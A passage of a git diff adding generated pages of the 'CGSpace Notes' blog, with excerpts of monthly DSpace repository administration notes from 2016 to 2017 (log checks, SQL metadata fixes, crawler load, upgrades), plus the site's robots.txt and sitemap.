+dspace.log.2017-12-09:29
+dspace.log.2017-12-10:35
+dspace.log.2017-12-11:20
+dspace.log.2017-12-12:44
+dspace.log.2017-12-13:36
+dspace.log.2017-12-14:59
+dspace.log.2017-12-15:104
+dspace.log.2017-12-16:53
+dspace.log.2017-12-17:66
+dspace.log.2017-12-18:83
+dspace.log.2017-12-19:101
+dspace.log.2017-12-20:74
+dspace.log.2017-12-21:55
+dspace.log.2017-12-22:66
+dspace.log.2017-12-23:50
+dspace.log.2017-12-24:85
+dspace.log.2017-12-25:62
+dspace.log.2017-12-26:49
+dspace.log.2017-12-27:30
+dspace.log.2017-12-28:54
+dspace.log.2017-12-29:68
+dspace.log.2017-12-30:89
+dspace.log.2017-12-31:53
+dspace.log.2018-01-01:45
+dspace.log.2018-01-02:34
+
    +
  • Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let’s Encrypt if it’s just a handful of domains
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-12-01

+
    +
  • Uptime Robot noticed that CGSpace went down
    • +
  • The logs say “Timeout waiting for idle object”
    • +
  • PostgreSQL activity says there are 115 connections currently
    • +
  • The list of connections to XMLUI and REST API for today:
    • +
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/page/8/index.html b/docs/posts/page/8/index.html new file mode 100644 index 000000000..a0b109222 --- /dev/null +++ b/docs/posts/page/8/index.html @@ -0,0 +1,444 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

November, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-11-01

+
    +
  • The CORE developers responded to say they are looking into their bot not respecting our robots.txt
    • +
+

2017-11-02

+
    +
  • Today there have been no hits by CORE and no alerts from Linode (coincidence?)
    • +
+
# grep -c "CORE" /var/log/nginx/access.log
+0
+
    +
  • Generate list of authors on CGSpace for Peter to go through and correct:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/authors.csv with csv;
+COPY 54701
+
+ Read more → +
+ + + + + + +
+
+

October, 2017

+

by Alan Orth in + Notes + + +

+
+

2017-10-01

+ +
http://hdl.handle.net/10568/78495||http://hdl.handle.net/10568/79336
+
    +
  • There appears to be a pattern but I’ll have to look a bit closer and try to clean them up automatically, either in SQL or in OpenRefine
    • +
  • Add Katherine Lutz to the groups for content submission and edit steps of the CGIAR System collections
    • +
+ Read more → +
+ + + + + + +
+
+

CGIAR Library Migration

+

by Alan Orth in + Notes + + +  + +

+
+

Rough notes for importing the CGIAR Library content. It was decided that this content would go to a new top-level community called CGIAR System Organization.

+ Read more → +
+ + + + + + +
+
+

September, 2017

+

by Alan Orth in + +  + +

+
+

2017-09-06

+
    +
  • Linode sent an alert that CGSpace (linode18) was using 261% CPU for the past two hours
    • +
+

2017-09-07

+
    +
  • Ask Sisay to clean up the WLE approvers a bit, as Marianne’s user account is both in the approvers step as well as the group
    • +
+ Read more → +
+ + + + + + +
+
+

August, 2017

+

by Alan Orth in + +  + +

+
+

2017-08-01

+
    +
  • Linode sent an alert that CGSpace (linode18) was using 350% CPU for the past two hours
    • +
  • I looked in the Activity pane of the Admin Control Panel and it seems that Google, Baidu, Yahoo, and Bing are all crawling with massive numbers of bots concurrently (~100 total, mostly Baidu and Google)
    • +
  • The good thing is that, according to dspace.log.2017-08-01, they are all using the same Tomcat session
    • +
  • This means our Tomcat Crawler Session Valve is working
    • +
  • But many of the bots are browsing dynamic URLs like: +
      +
    • /handle/10568/3353/discover
      • +
    • /handle/10568/16510/browse
      • +
    +
    • +
  • The robots.txt only blocks the top-level /discover and /browse URLs… we will need to find a way to forbid them from accessing these!
    • +
  • Relevant issue from DSpace Jira (semi resolved in DSpace 6.0): https://jira.duraspace.org/browse/DS-2962
    • +
  • It turns out that we’re already adding the X-Robots-Tag "none" HTTP header, but this only forbids the search engine from indexing the page, not crawling it!
    • +
  • Also, the bot has to successfully browse the page first so it can receive the HTTP header…
    • +
  • We might actually have to block these requests with HTTP 403 depending on the user agent
    • +
  • Abenet pointed out that the CGIAR Library Historical Archive collection I sent July 20th only had ~100 entries, instead of 2415
    • +
  • This was due to newline characters in the dc.description.abstract column, which caused OpenRefine to choke when exporting the CSV
    • +
  • I exported a new CSV from the collection on DSpace Test and then manually removed the characters in vim using g/^$/d
    • +
  • Then I cleaned up the author authorities and HTML characters in OpenRefine and sent the file back to Abenet
    • +
+ Read more → +
+ + + + + + +
+
+

July, 2017

+

by Alan Orth in + +  + +

+
+

2017-07-01

+
    +
  • Run system updates and reboot DSpace Test
    • +
+

2017-07-04

+
    +
  • Merge changes for WLE Phase II theme rename (#329)
    • +
  • Looking at extracting the metadata registries from ICARDA’s MEL DSpace database so we can compare fields with CGSpace
    • +
  • We can use PostgreSQL’s extended output format (-x) plus sed to format the output into quasi XML:
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2017

+

by Alan Orth in + +  + +

+
+ 2017-06-01 After discussion with WLE and CGSpace content people, we decided to just add one metadata field for the WLE Research Themes The cg.identifier.wletheme field will be used for both Phase I and Phase II Research Themes Then we’ll create a new sub-community for Phase II and create collections for the research themes there The current “Research Themes” community will be renamed to “WLE Phase I Research Themes” Tagged all items in the current Phase I collections with their appropriate themes Create pull request to add Phase II research themes to the submission form: #328 Add cg. + Read more → +
+ + + + + + +
+
+

May, 2017

+

by Alan Orth in + +  + +

+
+ 2017-05-01 ICARDA apparently started working on CG Core on their MEL repository They have done a few cg.* fields, but not very consistent and even copy some of CGSpace items: https://mel.cgiar.org/xmlui/handle/20.500.11766/6911?show=full https://cgspace.cgiar.org/handle/10568/73683 2017-05-02 Atmire got back about the Workflow Statistics issue, and apparently it’s a bug in the CUA module so they will send us a pull request 2017-05-04 Sync DSpace Test with database and assetstore from CGSpace Re-deploy DSpace Test with Atmire’s CUA patch for workflow statistics, run system updates, and restart the server Now I can see the workflow statistics and am able to select users, but everything returns 0 items Megan says there are still some mapped items are not appearing since last week, so I forced a full index-discovery -b Need to remember to check if the collection has more items (currently 39 on CGSpace, but 118 on the freshly reindexed DSPace Test) tomorrow: https://cgspace. + Read more → +
+ + + + + + +
+
+

April, 2017

+

by Alan Orth in + +  + +

+
+

2017-04-02

+
    +
  • Merge one change to CCAFS flagships that I had forgotten to remove last month (“MANAGING CLIMATE RISK”): https://github.com/ilri/DSpace/pull/317
    • +
  • Quick proof-of-concept hack to add dc.rights to the input form, including some inline instructions/hints:
    • +
+

dc.rights in the submission form

+
    +
  • Remove redundant/duplicate text in the DSpace submission license
    • +
  • Testing the CMYK patch on a collection with 650 items:
    • +
+
$ [dspace]/bin/dspace filter-media -f -i 10568/16498 -p "ImageMagick PDF Thumbnail" -v >& /tmp/filter-media-cmyk.txt
+
+ Read more → +
+ + + + + + +
+
+

March, 2017

+

by Alan Orth in + +  + +

+
+

2017-03-01

+
    +
  • Run the 279 CIAT author corrections on CGSpace
    • +
+

2017-03-02

+
    +
  • Skype with Michael and Peter, discussing moving the CGIAR Library to CGSpace
    • +
  • CGIAR people possibly open to moving content, redirecting library.cgiar.org to CGSpace and letting CGSpace resolve their handles
    • +
  • They might come in at the top level in one “CGIAR System” community, or with several communities
    • +
  • I need to spend a bit of time looking at the multiple handle support in DSpace and see if new content can be minted in both handles, or just one?
    • +
  • Need to send Peter and Michael some notes about this in a few days
    • +
  • Also, need to consider talking to Atmire about hiring them to bring ORCiD metadata to REST / OAI
    • +
  • Filed an issue on DSpace issue tracker for the filter-media bug that causes it to process JPGs even when limiting to the PDF thumbnail plugin: DS-3516
    • +
  • Discovered that the ImageMagic filter-media plugin creates JPG thumbnails with the CMYK colorspace when the source PDF is using CMYK
    • +
  • Interestingly, it seems DSpace 4.x’s thumbnails were sRGB, but forcing regeneration using DSpace 5.x’s ImageMagick plugin creates CMYK JPGs if the source PDF was CMYK (see 10568/51999):
    • +
+
$ identify ~/Desktop/alc_contrastes_desafios.jpg
+/Users/aorth/Desktop/alc_contrastes_desafios.jpg JPEG 464x600 464x600+0+0 8-bit CMYK 168KB 0.000u 0:00.000
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/posts/page/9/index.html b/docs/posts/page/9/index.html new file mode 100644 index 000000000..b2979f1a5 --- /dev/null +++ b/docs/posts/page/9/index.html @@ -0,0 +1,453 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CGSpace Notes + + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + + + + + + +
+
+

February, 2017

+

by Alan Orth in + +  + +

+
+

2017-02-07

+
    +
  • An item was mapped twice erroneously again, so I had to remove one of the mappings manually:
    • +
+
dspace=# select * from collection2item where item_id = '80278';
+  id   | collection_id | item_id
+-------+---------------+---------
+ 92551 |           313 |   80278
+ 92550 |           313 |   80278
+ 90774 |          1051 |   80278
+(3 rows)
+dspace=# delete from collection2item where id = 92551 and item_id = 80278;
+DELETE 1
+
    +
  • Create issue on GitHub to track the addition of CCAFS Phase II project tags (#301)
    • +
  • Looks like we’ll be using cg.identifier.ccafsprojectpii as the field name
    • +
+ Read more → +
+ + + + + + +
+
+

January, 2017

+

by Alan Orth in + +  + +

+
+

2017-01-02

+
    +
  • I checked to see if the Solr sharding task that is supposed to run on January 1st had run and saw there was an error
    • +
  • I tested on DSpace Test as well and it doesn’t work there either
    • +
  • I asked on the dspace-tech mailing list because it seems to be broken, and actually now I’m not sure if we’ve ever had the sharding task run successfully over all these years
    • +
+ Read more → +
+ + + + + + +
+
+

December, 2016

+

by Alan Orth in + +  + +

+
+

2016-12-02

+
    +
  • CGSpace was down for five hours in the morning while I was sleeping
    • +
  • While looking in the logs for errors, I see tons of warnings about Atmire MQM:
    • +
+
2016-12-02 03:00:32,352 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=CREATE, SubjectType=BUNDLE, SubjectID=70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632305, dispatcher=1544803905, detail=[null], transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY_METADATA, SubjectType=BUNDLE, SubjectID =70316, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632309, dispatcher=1544803905, detail="dc.title", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=ITEM, SubjectID=80044, Object Type=BUNDLE, ObjectID=70316, TimeStamp=1480647632311, dispatcher=1544803905, detail="THUMBNAIL", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=ADD, SubjectType=BUNDLE, SubjectID=70316, Obje ctType=BITSTREAM, ObjectID=86715, TimeStamp=1480647632318, dispatcher=1544803905, detail="-1", transactionID="TX157907838689377964651674089851855413607")
+2016-12-02 03:00:32,353 WARN  com.atmire.metadataquality.batchedit.BatchEditConsumer @ BatchEditConsumer should not have been given this kind of Subject in an event, skipping: org.dspace.event.Event(eventType=MODIFY, SubjectType=ITEM, SubjectID=80044, ObjectType=(Unknown), ObjectID=-1, TimeStamp=1480647632351, dispatcher=1544803905, detail=[null], transactionID="TX157907838689377964651674089851855413607")
+
    +
  • I see thousands of them in the logs for the last few months, so it’s not related to the DSpace 5.5 upgrade
    • +
  • I’ve raised a ticket with Atmire to ask
    • +
  • Another worrying error from dspace.log is:
    • +
+ Read more → +
+ + + + + + +
+
+

November, 2016

+

by Alan Orth in + +  + +

+
+

2016-11-01

+
    +
  • Add dc.type to the output options for Atmire’s Listings and Reports module (#286)
    • +
+

Listings and Reports with output type

+ Read more → +
+ + + + + + +
+
+

October, 2016

+

by Alan Orth in + +  + +

+
+

2016-10-03

+
    +
  • Testing adding ORCIDs to a CSV file for a single item to see if the author orders get messed up
    • +
  • Need to test the following scenarios to see how author order is affected: +
      +
    • ORCIDs only
      • +
    • ORCIDs plus normal authors
      • +
    +
    • +
  • I exported a random item’s metadata as CSV, deleted all columns except id and collection, and made a new coloum called ORCID:dc.contributor.author with the following random ORCIDs from the ORCID registry:
    • +
+
0000-0002-6115-0956||0000-0002-3812-8793||0000-0001-7462-405X
+
+ Read more → +
+ + + + + + +
+
+

September, 2016

+

by Alan Orth in + +  + +

+
+

2016-09-01

+
    +
  • Discuss helping CCAFS with some batch tagging of ORCID IDs for their authors
    • +
  • Discuss how the migration of CGIAR’s Active Directory to a flat structure will break our LDAP groups in DSpace
    • +
  • We had been using DC=ILRI to determine whether a user was ILRI or not
    • +
  • It looks like we might be able to use OUs now, instead of DCs:
    • +
+
$ ldapsearch -x -H ldaps://svcgroot2.cgiarad.org:3269/ -b "dc=cgiarad,dc=org" -D "admigration1@cgiarad.org" -W "(sAMAccountName=admigration1)"
+
+ Read more → +
+ + + + + + +
+
+

August, 2016

+

by Alan Orth in + +  + +

+
+

2016-08-01

+
    +
  • Add updated distribution license from Sisay (#259)
    • +
  • Play with upgrading Mirage 2 dependencies in bower.json because most are several versions of out date
    • +
  • Bootstrap is at 3.3.0 but upstream is at 3.3.7, and upgrading to anything beyond 3.3.1 breaks glyphicons and probably more
    • +
  • bower stuff is a dead end, waste of time, too many issues
    • +
  • Anything after Bootstrap 3.3.1 makes glyphicons disappear (HTTP 404 trying to access from incorrect path of fonts)
    • +
  • Start working on DSpace 5.1 → 5.5 port:
    • +
+
$ git checkout -b 55new 5_x-prod
+$ git reset --hard ilri/5_x-prod
+$ git rebase -i dspace-5.5
+
+ Read more → +
+ + + + + + +
+
+

July, 2016

+

by Alan Orth in + +  + +

+
+

2016-07-01

+
    +
  • Add dc.description.sponsorship to Discovery sidebar facets and make investors clickable in item view (#232)
    • +
  • I think this query should find and replace all authors that have “,” at the end of their names:
    • +
+
dspacetest=# update metadatavalue set text_value = regexp_replace(text_value, '(^.+?),$', '\1') where metadata_field_id=3 and resource_type_id=2 and text_value ~ '^.+?,$';
+UPDATE 95
+dspacetest=# select text_value from  metadatavalue where metadata_field_id=3 and resource_type_id=2 and text_value ~ '^.+?,$';
+ text_value
+------------
+(0 rows)
+
    +
  • In this case the select query was showing 95 results before the update
    • +
+ Read more → +
+ + + + + + +
+
+

June, 2016

+

by Alan Orth in + +  + +

+
+

2016-06-01

+ + Read more → +
+ + + + + + +
+
+

May, 2016

+

by Alan Orth in + +  + +

+
+

2016-05-01

+
    +
  • Since yesterday there have been 10,000 REST errors and the site has been unstable again
    • +
  • I have blocked access to the API now
    • +
  • There are 3,000 IPs accessing the REST API in a 24-hour period!
    • +
+
# awk '{print $1}' /var/log/nginx/rest.log  | uniq | wc -l
+3168
+
+ Read more → +
+ + + + + + + + + + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/robots.txt b/docs/robots.txt new file mode 100644 index 000000000..c96d18e5c --- /dev/null +++ b/docs/robots.txt @@ -0,0 +1,106 @@ +User-agent: * + + +Disallow: /cgspace-notes/categories/ +Disallow: /cgspace-notes/ +Disallow: /cgspace-notes/2023-07/ +Disallow: /cgspace-notes/categories/notes/ +Disallow: /cgspace-notes/posts/ +Disallow: /cgspace-notes/2023-06/ +Disallow: /cgspace-notes/2023-05/ +Disallow: /cgspace-notes/2023-04/ +Disallow: /cgspace-notes/2023-03/ +Disallow: /cgspace-notes/2023-02/ +Disallow: /cgspace-notes/2023-01/ +Disallow: /cgspace-notes/2022-12/ +Disallow: /cgspace-notes/2022-11/ +Disallow: /cgspace-notes/2022-10/ +Disallow: /cgspace-notes/2022-09/ +Disallow: /cgspace-notes/2022-08/ +Disallow: /cgspace-notes/2022-07/ +Disallow: /cgspace-notes/2022-06/ +Disallow: /cgspace-notes/2022-05/ +Disallow: /cgspace-notes/2022-04/ +Disallow: /cgspace-notes/2022-03/ +Disallow: /cgspace-notes/2022-02/ +Disallow: /cgspace-notes/2022-01/ +Disallow: /cgspace-notes/2021-12/ +Disallow: /cgspace-notes/2021-11/ +Disallow: /cgspace-notes/2021-10/ +Disallow: /cgspace-notes/2021-09/ +Disallow: /cgspace-notes/2021-08/ +Disallow: /cgspace-notes/2021-07/ +Disallow: /cgspace-notes/2021-06/ +Disallow: /cgspace-notes/2021-05/ +Disallow: /cgspace-notes/2021-04/ +Disallow: /cgspace-notes/2021-03/ +Disallow: /cgspace-notes/cgspace-cgcorev2-migration/ +Disallow: /cgspace-notes/tags/migration/ +Disallow: /cgspace-notes/tags/ +Disallow: /cgspace-notes/2021-02/ +Disallow: /cgspace-notes/2021-01/ +Disallow: /cgspace-notes/2020-12/ +Disallow: /cgspace-notes/cgspace-dspace6-upgrade/ +Disallow: /cgspace-notes/2020-11/ +Disallow: /cgspace-notes/2020-10/ +Disallow: /cgspace-notes/2020-09/ +Disallow: /cgspace-notes/2020-08/ +Disallow: /cgspace-notes/2020-07/ +Disallow: /cgspace-notes/2020-06/ +Disallow: /cgspace-notes/2020-05/ +Disallow: /cgspace-notes/2020-04/ +Disallow: /cgspace-notes/2020-03/ +Disallow: /cgspace-notes/2020-02/ +Disallow: /cgspace-notes/2020-01/ +Disallow: /cgspace-notes/2019-12/ +Disallow: /cgspace-notes/2019-11/ +Disallow: /cgspace-notes/2019-10/ +Disallow: /cgspace-notes/2019-09/ +Disallow: /cgspace-notes/2019-08/ +Disallow: /cgspace-notes/2019-07/ +Disallow: /cgspace-notes/2019-06/ +Disallow: /cgspace-notes/2019-05/ +Disallow: /cgspace-notes/2019-04/ +Disallow: /cgspace-notes/2019-03/ +Disallow: /cgspace-notes/2019-02/ +Disallow: /cgspace-notes/2019-01/ +Disallow: /cgspace-notes/2018-12/ +Disallow: /cgspace-notes/2018-11/ +Disallow: /cgspace-notes/2018-10/ +Disallow: /cgspace-notes/2018-09/ +Disallow: /cgspace-notes/2018-08/ +Disallow: /cgspace-notes/2018-07/ +Disallow: /cgspace-notes/2018-06/ +Disallow: /cgspace-notes/2018-05/ +Disallow: /cgspace-notes/2018-04/ +Disallow: /cgspace-notes/2018-03/ +Disallow: /cgspace-notes/2018-02/ +Disallow: /cgspace-notes/2018-01/ +Disallow: /cgspace-notes/2017-12/ +Disallow: /cgspace-notes/2017-11/ +Disallow: /cgspace-notes/2017-10/ +Disallow: /cgspace-notes/cgiar-library-migration/ +Disallow: /cgspace-notes/tags/notes/ +Disallow: /cgspace-notes/2017-09/ +Disallow: /cgspace-notes/2017-08/ +Disallow: /cgspace-notes/2017-07/ +Disallow: /cgspace-notes/2017-06/ +Disallow: /cgspace-notes/2017-05/ +Disallow: /cgspace-notes/2017-04/ +Disallow: /cgspace-notes/2017-03/ +Disallow: /cgspace-notes/2017-02/ +Disallow: /cgspace-notes/2017-01/ +Disallow: /cgspace-notes/2016-12/ +Disallow: /cgspace-notes/2016-11/ +Disallow: /cgspace-notes/2016-10/ +Disallow: /cgspace-notes/2016-09/ +Disallow: /cgspace-notes/2016-08/ +Disallow: /cgspace-notes/2016-07/ +Disallow: /cgspace-notes/2016-06/ +Disallow: /cgspace-notes/2016-05/ +Disallow: /cgspace-notes/2016-04/ +Disallow: /cgspace-notes/2016-03/ +Disallow: /cgspace-notes/2016-02/ +Disallow: /cgspace-notes/2016-01/ +Disallow: /cgspace-notes/2015-12/ +Disallow: /cgspace-notes/2015-11/ diff --git a/docs/sitemap.xml b/docs/sitemap.xml new file mode 100644 index 000000000..79026099f --- /dev/null +++ b/docs/sitemap.xml @@ -0,0 +1,314 @@ + + + + https://alanorth.github.io/cgspace-notes/categories/ + 2023-07-01T17:17:31+03:00 + + https://alanorth.github.io/cgspace-notes/ + 2023-07-01T17:17:31+03:00 + + https://alanorth.github.io/cgspace-notes/2023-07/ + 2023-07-01T17:17:31+03:00 + + https://alanorth.github.io/cgspace-notes/categories/notes/ + 2023-07-01T17:17:31+03:00 + + https://alanorth.github.io/cgspace-notes/posts/ + 2023-07-01T17:17:31+03:00 + + https://alanorth.github.io/cgspace-notes/2023-06/ + 2023-07-01T17:17:31+03:00 + + https://alanorth.github.io/cgspace-notes/2023-05/ + 2023-05-30T20:19:17+03:00 + + https://alanorth.github.io/cgspace-notes/2023-04/ + 2023-05-04T14:44:51+03:00 + + https://alanorth.github.io/cgspace-notes/2023-03/ + 2023-04-02T09:16:25+03:00 + + https://alanorth.github.io/cgspace-notes/2023-02/ + 2023-03-01T08:30:25+03:00 + + https://alanorth.github.io/cgspace-notes/2023-01/ + 2023-03-14T14:30:17+03:00 + + https://alanorth.github.io/cgspace-notes/2022-12/ + 2023-01-01T10:12:13+02:00 + + https://alanorth.github.io/cgspace-notes/2022-11/ + 2023-01-04T10:53:02+03:00 + + https://alanorth.github.io/cgspace-notes/2022-10/ + 2023-04-18T11:08:15-07:00 + + https://alanorth.github.io/cgspace-notes/2022-09/ + 2022-09-30T17:29:50+03:00 + + https://alanorth.github.io/cgspace-notes/2022-08/ + 2023-02-22T11:59:48+03:00 + + https://alanorth.github.io/cgspace-notes/2022-07/ + 2022-07-31T15:49:35+03:00 + + https://alanorth.github.io/cgspace-notes/2022-06/ + 2023-04-27T13:10:13-07:00 + + https://alanorth.github.io/cgspace-notes/2022-05/ + 2022-05-30T16:00:02+03:00 + + https://alanorth.github.io/cgspace-notes/2022-04/ + 2022-05-04T11:09:45+03:00 + + https://alanorth.github.io/cgspace-notes/2022-03/ + 2022-06-09T09:41:49+03:00 + + https://alanorth.github.io/cgspace-notes/2022-02/ + 2022-03-01T17:17:27+03:00 + + https://alanorth.github.io/cgspace-notes/2022-01/ + 2022-05-12T12:51:45+03:00 + + https://alanorth.github.io/cgspace-notes/2021-12/ + 2022-01-09T10:39:51+02:00 + + https://alanorth.github.io/cgspace-notes/2021-11/ + 2021-11-30T16:44:30+02:00 + + https://alanorth.github.io/cgspace-notes/2021-10/ + 2021-11-01T10:48:13+02:00 + + https://alanorth.github.io/cgspace-notes/2021-09/ + 2021-10-04T11:10:54+03:00 + + https://alanorth.github.io/cgspace-notes/2021-08/ + 2021-09-02T17:06:28+03:00 + + https://alanorth.github.io/cgspace-notes/2021-07/ + 2021-08-01T16:19:05+03:00 + + https://alanorth.github.io/cgspace-notes/2021-06/ + 2021-07-01T08:53:21+03:00 + + https://alanorth.github.io/cgspace-notes/2021-05/ + 2021-07-06T17:03:55+03:00 + + https://alanorth.github.io/cgspace-notes/2021-04/ + 2021-04-28T18:57:48+03:00 + + https://alanorth.github.io/cgspace-notes/2021-03/ + 2021-04-13T21:13:08+03:00 + + https://alanorth.github.io/cgspace-notes/cgspace-cgcorev2-migration/ + 2021-09-21T12:46:34+03:00 + + https://alanorth.github.io/cgspace-notes/tags/migration/ + 2021-09-21T12:46:34+03:00 + + https://alanorth.github.io/cgspace-notes/tags/ + 2021-09-21T12:46:34+03:00 + + https://alanorth.github.io/cgspace-notes/2021-02/ + 2021-08-08T17:07:54+03:00 + + https://alanorth.github.io/cgspace-notes/2021-01/ + 2021-01-31T16:32:16+02:00 + + https://alanorth.github.io/cgspace-notes/2020-12/ + 2021-01-04T20:09:02+02:00 + + https://alanorth.github.io/cgspace-notes/cgspace-dspace6-upgrade/ + 2020-12-01T19:15:48+02:00 + + https://alanorth.github.io/cgspace-notes/2020-11/ + 2020-11-30T20:12:55+02:00 + + https://alanorth.github.io/cgspace-notes/2020-10/ + 2020-11-16T10:53:45+02:00 + + https://alanorth.github.io/cgspace-notes/2020-09/ + 2020-10-01T10:47:40+03:00 + + https://alanorth.github.io/cgspace-notes/2020-08/ + 2020-09-02T13:39:11+03:00 + + https://alanorth.github.io/cgspace-notes/2020-07/ + 2020-08-02T22:14:16+03:00 + + https://alanorth.github.io/cgspace-notes/2020-06/ + 2020-07-08T16:30:40+03:00 + + https://alanorth.github.io/cgspace-notes/2020-05/ + 2020-06-01T13:55:08+03:00 + + https://alanorth.github.io/cgspace-notes/2020-04/ + 2020-05-31T20:15:08+03:00 + + https://alanorth.github.io/cgspace-notes/2020-03/ + 2020-04-02T12:33:41+03:00 + + https://alanorth.github.io/cgspace-notes/2020-02/ + 2022-05-05T16:50:10+03:00 + + https://alanorth.github.io/cgspace-notes/2020-01/ + 2021-09-20T15:47:34+03:00 + + https://alanorth.github.io/cgspace-notes/2019-12/ + 2019-12-30T14:28:15+02:00 + + https://alanorth.github.io/cgspace-notes/2019-11/ + 2019-11-28T17:30:45+02:00 + + https://alanorth.github.io/cgspace-notes/2019-10/ + 2019-10-29T17:41:17+02:00 + + https://alanorth.github.io/cgspace-notes/2019-09/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2019-08/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2019-07/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2019-06/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2019-05/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2019-04/ + 2021-08-18T15:29:31+03:00 + + https://alanorth.github.io/cgspace-notes/2019-03/ + 2020-07-24T21:57:55+03:00 + + https://alanorth.github.io/cgspace-notes/2019-02/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2019-01/ + 2022-03-22T22:03:59+03:00 + + https://alanorth.github.io/cgspace-notes/2018-12/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2018-11/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2018-10/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2018-09/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2018-08/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2018-07/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2018-06/ + 2020-02-17T11:38:34+02:00 + + https://alanorth.github.io/cgspace-notes/2018-05/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2018-04/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2018-03/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2018-02/ + 2020-11-18T17:15:23+02:00 + + https://alanorth.github.io/cgspace-notes/2018-01/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-12/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-11/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/2017-10/ + 2019-10-28T13:39:25+02:00 + + https://alanorth.github.io/cgspace-notes/cgiar-library-migration/ + 2019-10-28T13:40:20+02:00 + + https://alanorth.github.io/cgspace-notes/tags/notes/ + 2020-11-30T12:10:20+02:00 + + https://alanorth.github.io/cgspace-notes/2017-09/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-08/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-07/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-06/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-05/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-04/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-03/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-02/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2017-01/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2016-12/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2016-11/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2016-10/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2016-09/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2016-08/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2016-07/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2016-06/ + 2020-11-30T12:10:20+02:00 + + https://alanorth.github.io/cgspace-notes/2016-05/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2016-04/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2016-03/ + 2020-04-13T15:30:24+03:00 + + https://alanorth.github.io/cgspace-notes/2016-02/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2016-01/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2015-12/ + 2018-03-09T22:10:33+02:00 + + https://alanorth.github.io/cgspace-notes/2015-11/ + 2018-03-09T22:10:33+02:00 + + diff --git 